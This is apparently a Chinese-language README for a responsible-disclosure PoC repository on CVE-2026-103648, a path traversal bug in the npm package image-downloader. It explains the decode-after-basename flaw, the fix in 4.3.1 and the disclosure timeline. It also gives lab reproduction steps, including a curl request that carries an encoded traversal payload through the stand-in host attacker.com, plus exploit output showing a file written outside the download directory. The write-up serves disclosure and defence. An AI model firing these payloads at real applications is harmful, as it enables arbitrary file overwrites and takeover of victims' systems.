image-downloader 中的路径遍历漏洞
发现者:Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ 仅供教育目的。 本仓库记录了一个经负责任披露的漏洞。所有 PoC 代码仅用于授权的安全研究与测试,且仅限于隔离的实验环境。请勿对您不拥有或未获得明确书面测试许可的系统使用。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-103648 |
| NVD 条目 | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 评分 | 9.1 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22:对路径名的限制不当导致目录遍历 |
| 软件包 | image-downloader(npm),作者 demsking |
| npm 每周下载量 | 约 11,000 次(约 38,000 次/月)— 来源 |
| 受影响版本 | < 4.3.1(包括 4.3.0 在内的所有版本) |
| 修复版本 | 4.3.1 |
| 分配机构 | GitLab |
| 发布日期 | 2026-10-02 |
| 报告者 | Amirhossein Roustaei (@EterNullSec),Eternull Security |
该漏洞存在于 [email protected] 的文件名提取逻辑中。以下是受影响版本的实际源代码(index.js,直接取自已发布的 npm 包):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) 是在仍处于百分号编码状态的 URL 路径名上调用的。像 %2e%2e%2fpwned.sh 这样的序列不包含字面量 /,因此 path.basename() 会将整个字符串视为单个文件名并原样返回——没有任何内容被剥离。decodeURIComponent()。正是这一步将 %2e%2e%2f 还原为字面量 ../——但此时它已经通过了本应净化它的 basename 步骤。path.join(options.dest, decodedBasename) 被调用时,字符串中已包含真实的 ../ 片段。path.join() 会像 cd .. 那样规范化 ..——因此最终写入路径解析到了 options.dest 之外的位置。简而言之:代码以正确的方式解码文件名,只是相对于 path.basename() 的顺序错了。先解码再取 basename 是安全的;先取 basename 再解码则不安全。
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
本实验通过单个脚本端到端地演示了该缺陷的机制,以便于复现,但有必要明确说明真实世界的攻击模型:
image-downloader 的 download.image({ url, dest }) 且其 url 值并非完全由自身控制的应用程序——例如用户提交的 URL(头像/图片导入功能)、从 webhook 载荷中提取的 URL,或从 RSS/内容源读取的 URL。url 所指向的 HTTP 服务器,并控制该 URL 的路径部分——仅此一点就足够了,因为遍历存在于 URL 路径中(%2e%2e%2f...),而非响应体中。authorized_keys 文件,或应用程序稍后运行的可执行文件)。在 exploit/exploit.py 中,攻击者和受害者角色被合并到一个脚本中以便于实验(它同时充当“受害者”服务器请求和攻击者控制的载荷服务器)。在真实的利用场景中,这是两个独立、无关的方——PoC 之所以这样构建,纯粹是为了让漏洞可以通过单条命令复现。
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
存在漏洞的服务器将可通过 http://localhost:3000 访问。
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
或使用 curl 手动执行(遍历存在于 URL 路径中,而非响应体中):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec
已在 4.3.1 中修复(提交 fb44543)。以下是实际的修复后源代码:
// [email protected] — index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
const decoded = decodeURIComponent(pathname); // ✅ decode FIRST
if (decoded.includes('\0')) {
throw invalidFilename('the URL path contains a NUL byte');
}
return path.basename(decoded); // ✅ THEN basename
};
const isInside = (file, directory) => {
const relative = path.relative(directory, file);
return relative !== '' &&
relative !== '..' &&
!relative.startsWith(`..${path.sep}`) &&
!path.isAbsolute(relative);
};
// ... inside module.exports.image:
const resolved = path.join(directory, filenameFromPathname(new URL(options.url).pathname));
if (!isInside(resolved, directory)) {
return Promise.reject(invalidFilename('the URL path does not resolve to a file inside options.dest'));
}
三层防御:
path.relative() 包含性检查 — 一道双保险验证,如果结果未严格解析到 dest 内部,则直接拒绝,即使未来的更改重新引入了顺序缺陷也能防护。| 日期 | 事件 |
|---|---|
| 2026-10-01 | 预留 CVE(GitLab,作为 CNA) |
| 2026-10-02 | 在 [email protected] 中发布补丁 |
| 2026-10-02 | 发布 CVE-2026-103648(MITRE/NVD) |
| 2026-10-03 | 公开发布 PoC 仓库和详细分析 |